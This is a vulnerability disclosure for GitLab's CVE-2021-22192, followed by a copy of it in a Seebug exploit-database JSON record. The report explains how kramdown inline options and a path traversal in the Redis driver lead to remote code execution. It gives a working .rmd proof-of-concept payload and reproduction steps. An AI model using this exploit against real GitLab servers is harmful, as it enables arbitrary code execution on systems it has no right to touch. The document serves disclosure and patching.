When rendering wiki content with certain extensions such as `.rmd`, `render_wiki_content` will call [`other_markup_unsafe`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.9.3-ee/app/helpers/markup_helper.rb#L145) which will end up calling `GitHub::Markup.render` from the `github-markup` gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back.
Since `kramdown` is loaded, this will end up using it for the [markdown parser](https://github.com/github/markup/blob/v1.7.0/lib/github/markup/markdown.rb#L23) by calling `Kramdown::Document.new(content).to_html`
Kramdown has a special extension that allows for options to be [set inline](https://kramdown.gettalong.org/options.html), the example they give is: `{::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}`
The default syntax highlighter is `rouge` which has an option [`formatter`](https://kramdown.gettalong.org/syntax_highlighter/rouge.html) that can be set via `syntax_highlighter_opts` in the inline options. This option gets used by [`formatter_class`](https://github.com/gettalong/kramdown/blob/REL_2_3_0/lib/kramdown/converter/syntax_highlighter/rouge.rb#L73):
```
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
def self.formatter_class(opts = {})
puts "formatter"
puts opts[:formatter]
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
else
# Available in Rouge 2.0 or later
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
# Fallback to Rouge 1.x
::Rouge::Formatters::HTML
end
```
So this a means that `::Rouge::Formatters.const_get(opts[:formatter]).new(opts)` will be called, where `opts` is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of `/\A[[:upper:]][[:alnum:]_]*\z/` passes. The validation slightly restricts things, but pretty much any class without a namespace (`::` is not allowed) can be created. For example (the two `~~` should have an extra `~` but it's messing up the h1 formatting so will need to add it):
```
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~ ruby
def what?
42
end
~~
```
Will result in a `CSV` object being created and then it will error with `private method 'format' called for #<CSV:0x00007fe4df7e26d0>` as it tries to use this as the formatter.
One of the loaded classes is gitlab is `Redis` from [redis-rb](https://github.com/redis/redis-rb) which has an option `driver` that is used to load the driver class:
https://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507
```
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
```
As both `require_relative` and `require` allow for directory traversal, supplying a `driver` option such as `../../../../../../../../../../tmp/a.rb` will cause that file to be evaluated.
One of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: `[file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb)`. The default `gitlab_rails['uploads_directory']` is `/var/opt/gitlab/gitlab-rails/uploads` meaning the final file location will be `/var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb`.
Combining all of of this, we can create the following `.rmd` file to execute our payload (add `~` to both of the `~~`):
```
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\}" /}
~~ ruby
def what?
42
end
~~
```
### Steps to reproduce
1. Create a new snippet with any title and file
2. In the description, click `Attach a file` and select the final ruby payload such as:
```
puts "hello from ruby"
`echo vakzz was here > /tmp/vakzz`
```
```
3. Make note of the upload path: `/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb`
4. Create a new project
5. Click Wiki and create a default home page
6. Hit `Clone repository` to get the clone command
7. Clone the repo `git clone git@gitlab-docker.local:root/proj1.wiki.git` and add the following file `page1.rmd` using the path from above (add `~` to both the the `~~`):
```
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\}" /}
~~ ruby
def what?
42
end
~~
```
```
8. Push the changes `git add -A . && git commit -m "page1.rmd" && git push`
9. Refresh the wiki, there should now be `page1 ` of the right hand side
10. Click and load `page1`
11. In the gitlab logs you should see something like:
```
wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb
lib/gitlab/other_markup.rb:11:in `render'
app/helpers/markup_helper.rb:280:in `other_markup_unsafe'
app/helpers/markup_helper.rb:145:in `markup_unsafe'
app/helpers/markup_helper.rb:130:in `render_wiki_content'
app/views/shared/wikis/show.html.haml:30
```
```
12. Looking at `/tmp` you can see that the payload was executed:
```
root@gitlab-docker:~# cat /tmp/vakzz
vakzz was here
```
```
### Impact
Allows any user with push access to a wiki to execute arbitrary ruby code.
### Examples
Example page using the inline options to change the highlighter from rouge to `minted` - https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1
### What is the current *bug* behavior?
Inline options can be set when rendering kramdown documents
### What is the expected *correct* behavior?
`forbidden_inline_options` could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html
### Output of checks
#### Results of GitLab environment info
```
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.3
Redis Version: 6.0.10
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.9.1-ee
Revision: 8ae438629fa
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.5
URL: http://gitlab-docker.local
HTTP Clone URL: http://gitlab-docker.local/some-group/some-project.git
SSH Clone URL: git@gitlab-docker.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.16.1
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
```
## Impact
Allows any user with push access to a wiki to execute arbitrary ruby code.
{"id": "SSV:99159", "type": "seebug", "bulletinFamily": "exploit", "title": "GitLab \u672a\u6388\u6743RCE\u6f0f\u6d1e\uff08CVE-2021-22192\uff09", "description": "When rendering wiki content with certain extensions such as `.rmd`, `render_wiki_content` will call [`other_markup_unsafe`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.9.3-ee/app/helpers/markup_helper.rb#L145) which will end up calling `GitHub::Markup.render` from the `github-markup` gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back.\n\nSince `kramdown` is loaded, this will end up using it for the [markdown parser](https://github.com/github/markup/blob/v1.7.0/lib/github/markup/markdown.rb#L23) by calling `Kramdown::Document.new(content).to_html`\n\nKramdown has a special extension that allows for options to be [set inline](https://kramdown.gettalong.org/options.html), the example they give is: `{::options auto_ids=\"false\" footnote_nr=\"5\" syntax_highlighter_opts=\"{line_numbers: true\\}\" /}`\n\nThe default syntax highlighter is `rouge` which has an option [`formatter`](https://kramdown.gettalong.org/syntax_highlighter/rouge.html) that can be set via `syntax_highlighter_opts` in the inline options. This option gets used by [`formatter_class`](https://github.com/gettalong/kramdown/blob/REL_2_3_0/lib/kramdown/converter/syntax_highlighter/rouge.rb#L73):\n\n```\n def self.call(converter, text, lang, type, call_opts)\n opts = options(converter, type)\n call_opts[:default_lang] = opts[:default_lang]\n return nil unless lang || opts[:default_lang] || opts[:guess_lang]\n\n lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)\n return nil if opts[:disable] || !lexer || (lexer.tag == \"plaintext\" && !opts[:guess_lang])\n\n opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0\n formatter = formatter_class(opts).new(opts)\n formatter.format(lexer.lex(text))\n end\n\n def self.formatter_class(opts = {})\n puts \"formatter\"\n puts opts[:formatter]\n case formatter = opts[:formatter]\n when Class\n formatter\n when /\\A[[:upper:]][[:alnum:]_]*\\z/\n ::Rouge::Formatters.const_get(formatter)\n else\n # Available in Rouge 2.0 or later\n ::Rouge::Formatters::HTMLLegacy\n end\n rescue NameError\n # Fallback to Rouge 1.x\n ::Rouge::Formatters::HTML\n end\n```\n\n\n\nSo this a means that `::Rouge::Formatters.const_get(opts[:formatter]).new(opts)` will be called, where `opts` is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of `/\\A[[:upper:]][[:alnum:]_]*\\z/` passes. The validation slightly restricts things, but pretty much any class without a namespace (`::` is not allowed) can be created. For example (the two `~~` should have an extra `~` but it's messing up the h1 formatting so will need to add it):\n\n```\n{::options auto_ids=\"false\" footnote_nr=\"5\" syntax_highlighter=\"rouge\" syntax_highlighter_opts=\"{formatter: CSV, line_numbers: true\\}\" /}\n\n~~ ruby\n def what?\n 42\n end\n~~\n```\n\n\n\nWill result in a `CSV` object being created and then it will error with `private method 'format' called for #<CSV:0x00007fe4df7e26d0>` as it tries to use this as the formatter.\n\nOne of the loaded classes is gitlab is `Redis` from [redis-rb](https://github.com/redis/redis-rb) which has an option `driver` that is used to load the driver class:\n\nhttps://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507\n\n```\n def _parse_driver(driver)\n driver = driver.to_s if driver.is_a?(Symbol)\n\n if driver.kind_of?(String)\n begin\n require_relative \"connection/#{driver}\"\n rescue LoadError, NameError => e\n begin\n require \"connection/#{driver}\"\n rescue LoadError, NameError => e\n raise RuntimeError, \"Cannot load driver #{driver.inspect}: #{e.message}\"\n end\n end\n\n driver = Connection.const_get(driver.capitalize)\n end\n\n driver\n end\n```\n\n\n\nAs both `require_relative` and `require` allow for directory traversal, supplying a `driver` option such as `../../../../../../../../../../tmp/a.rb` will cause that file to be evaluated.\n\nOne of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: `[file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb)`. The default `gitlab_rails['uploads_directory']` is `/var/opt/gitlab/gitlab-rails/uploads` meaning the final file location will be `/var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb`.\n\nCombining all of of this, we can create the following `.rmd` file to execute our payload (add `~` to both of the `~~`):\n\n```\n{::options auto_ids=\"false\" footnote_nr=\"5\" syntax_highlighter=\"rouge\" syntax_highlighter_opts=\"{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\\}\" /}\n\n~~ ruby\ndef what?\n 42\nend\n~~\n```\n\n\n\n### Steps to reproduce\n\n1. Create a new snippet with any title and file\n\n2. In the description, click `Attach a file` and select the final ruby payload such as:\n\n ```\n puts \"hello from ruby\"\n `echo vakzz was here > /tmp/vakzz`\n \u200b```\n ```\n\n \n\n3. Make note of the upload path: `/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb`\n\n4. Create a new project\n\n5. Click Wiki and create a default home page\n\n6. Hit `Clone repository` to get the clone command\n\n7. Clone the repo `git clone git@gitlab-docker.local:root/proj1.wiki.git` and add the following file `page1.rmd` using the path from above (add `~` to both the the `~~`):\n\n ```\n {::options syntax_highlighter=\"rouge\" syntax_highlighter_opts=\"{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\\}\" /}\n ~~ ruby\n def what?\n 42\n end\n ~~\n \u200b```\n \n ```\n\n \n\n8. Push the changes `git add -A . && git commit -m \"page1.rmd\" && git push`\n\n9. Refresh the wiki, there should now be `page1 ` of the right hand side\n\n10. Click and load `page1`\n\n11. In the gitlab logs you should see something like:\n\n ```\n wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\n lib/gitlab/other_markup.rb:11:in `render'\n app/helpers/markup_helper.rb:280:in `other_markup_unsafe'\n app/helpers/markup_helper.rb:145:in `markup_unsafe'\n app/helpers/markup_helper.rb:130:in `render_wiki_content'\n app/views/shared/wikis/show.html.haml:30\n \u200b```\n \n ```\n\n \n\n12. Looking at `/tmp` you can see that the payload was executed:\n\n ```\n root@gitlab-docker:~# cat /tmp/vakzz\n vakzz was here\n \u200b```\n ```\n\n \n\n### Impact\n\nAllows any user with push access to a wiki to execute arbitrary ruby code.\n\n### Examples\n\nExample page using the inline options to change the highlighter from rouge to `minted` - https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1\n\n### What is the current *bug* behavior?\n\nInline options can be set when rendering kramdown documents\n\n### What is the expected *correct* behavior?\n\n`forbidden_inline_options` could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html\n\n### Output of checks\n\n#### Results of GitLab environment info\n\n```\nSystem information\nSystem:\nProxy:\t\tno\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.7.2p137\nGem Version:\t3.1.4\nBundler Version:2.1.4\nRake Version:\t13.0.3\nRedis Version:\t6.0.10\nGit Version:\t2.29.0\nSidekiq Version:5.2.9\nGo Version:\tunknown\n\nGitLab information\nVersion:\t13.9.1-ee\nRevision:\t8ae438629fa\nDirectory:\t/opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:\tPostgreSQL\nDB Version:\t12.5\nURL:\t\thttp://gitlab-docker.local\nHTTP Clone URL:\thttp://gitlab-docker.local/some-group/some-project.git\nSSH Clone URL:\tgit@gitlab-docker.local:some-group/some-project.git\nElasticsearch:\tno\nGeo:\t\tno\nUsing LDAP:\tno\nUsing Omniauth:\tyes\nOmniauth Providers:\n\nGitLab Shell\nVersion:\t13.16.1\nRepository storage paths:\n- default: \t/var/opt/gitlab/git-data/repositories\nGitLab Shell path:\t\t/opt/gitlab/embedded/service/gitlab-shell\nGit:\t\t/opt/gitlab/embedded/bin/git\n```\n\n\n\n## Impact\n\nAllows any user with push access to a wiki to execute arbitrary ruby code.", "published": "2021-03-18T00:00:00", "modified": "2021-03-18T00:00:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "href": "https://www.seebug.org/vuldb/ssvid-99159", "reporter": "Knownsec", "references": [], "cvelist": ["CVE-2021-22192"], "immutableFields": [], "lastseen": "2021-07-24T16:10:13", "viewCount": 3, "enchantments": {"dependencies": {"references": [{"type": "archlinux", "idList": ["ASA-202103-13"]}, {"type": "cve", "idList": ["CVE-2021-22192"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-22192"]}, {"type": "githubexploit", "idList": ["4D7E04F2-9D42-5AD8-8880-C7F27234C203", "5D658D36-6845-5501-A88C-03BE24E672A0"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-22192"]}], "rev": 4}, "score": {"value": 5.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "archlinux", "idList": ["ASA-202103-13"]}, {"type": "cve", "idList": ["CVE-2021-22192"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-22192"]}, {"type": "githubexploit", "idList": ["4D7E04F2-9D42-5AD8-8880-C7F27234C203", "5D658D36-6845-5501-A88C-03BE24E672A0"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-22192"]}]}, "exploitation": null, "vulnersScore": 5.2}, "sourceHref": "", "sourceData": "", "status": "cve,details", "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646191100}}